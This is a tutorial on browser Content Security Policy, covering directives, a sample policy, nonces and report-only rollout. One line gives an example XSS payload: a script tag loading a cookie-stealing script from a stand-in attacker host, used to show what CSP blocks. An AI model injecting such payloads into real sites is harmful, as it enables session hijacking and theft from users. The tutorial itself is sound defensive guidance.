Understanding Content Security Policy (CSP)
Content Security Policy is a browser feature that limits where a page is allowed to load scripts, styles, images, and other resources from — and it's one of the few defenses that actually helps after an attacker has already managed to inject something into your page. Escaping user input stops XSS from happening; CSP limits the damage when escaping fails somewhere you missed.
What problem it actually solves
Say a comment field on your site doesn't escape input properly, and an attacker submits:
<script src="https://evil.example/steal-cookies.js"></script>
Without CSP, if that string ever reaches the page unescaped, the browser just runs it — that script now executes with full access to the page, cookies, and anything the logged-in user can do. CSP doesn't fix the escaping bug, but it can stop the injected script from loading at all, because the browser refuses to fetch scripts from origins the page didn't explicitly allow.
This is defense in depth, not a substitute for fixing the injection bug — but real applications have injection bugs they don't know about yet, and CSP is one of the few controls that helps even then.
How it's delivered
CSP is a header, sent with the response:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'
It can also be set via a <meta> tag, though the header is preferred — a meta tag can't cover the earliest part of page load and doesn't support some directives at all.
Directives: source lists per resource type
Each directive controls one kind of resource:
default-src— fallback for any directive not explicitly set.script-src— where JavaScript can be loaded from.style-src— where CSS can be loaded from.img-src— where images can be loaded from.connect-src— allowed targets forfetch,XMLHttpRequest, WebSockets.frame-ancestors— who's allowed to embed this page in an<iframe>(the modern replacement for theX-Frame-Optionsheader).
A source list can contain:
'self'— the page's own origin.- Specific origins —
https://cdn.example.com. 'none'— nothing at all.'unsafe-inline'— allow inline<script>/<style>blocks andon*attributes. Avoid this forscript-srcspecifically — it defeats most of the point of CSP, since it's exactly what lets an injected inline<script>tag execute.'unsafe-eval'— alloweval(),new Function(), and similar. Also worth avoiding.
A realistic starting policy
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' https://fonts.googleapis.com;
font-src https://fonts.gstatic.com;
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
object-src 'none';
A few of these deserve explanation:
object-src 'none'blocks<object>/<embed>, historically a source of Flash-based XSS bypasses. Block it even if nothing on the page appears to use it.base-uri 'self'stops an attacker from injecting a<base>tag that would silently rewrite where all your relative URLs (including scriptsrcattributes) actually resolve to.img-src 'self' data: https:is deliberately looser than the rest — images are a much lower-risk resource type, and being strict here mostly just breaks legitimate content without meaningfully improving security.
Inline scripts without unsafe-inline: nonces
Real applications often need some inline script — analytics snippets, server-rendered configuration objects. A nonce (a random value generated fresh per request) lets you allow specific inline scripts without opening the door to all of them:
Content-Security-Policy: script-src 'self' 'nonce-8f3jd92kfmz'
<script nonce="8f3jd92kfmz">
window.__CONFIG__ = { userId: 42 };
</script>
An attacker who injects <script> into your page has no way to know the nonce for the current request — it's regenerated server-side on every response — so their injected script still gets blocked, while your legitimate inline script (with the matching nonce) runs.
Rolling it out without breaking your own site
Deploying CSP directly as an enforced policy on a real application usually breaks something you didn't know was there — a third-party widget loading a script from an origin you forgot to allowlist, an inline onclick handler from years ago. Report-only mode lets you find these without actually blocking anything:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations
The browser evaluates the policy and sends a JSON report to report-uri for anything that would have been blocked, but doesn't actually block it. Run in report-only for a while, fix what shows up in the reports, then switch to the enforcing header once the violation reports go quiet.
app.post('/csp-violations', express.json({ type: 'application/csp-report' }), (req, res) => {
console.warn('CSP violation:', req.body['csp-report']);
res.status(204).end();
});
Takeaway
CSP won't catch every XSS vector, and a policy with 'unsafe-inline' in script-src provides close to none of the protection people assume it does. But a real, restrictive policy — no unsafe-inline, no unsafe-eval, an explicit allowlist of script origins — turns "attacker found an injection point" from "full script execution on your page" into "browser silently refuses to run it." That's a meaningful backstop for the injection bugs you haven't found yet, which is to say, the ones that matter most.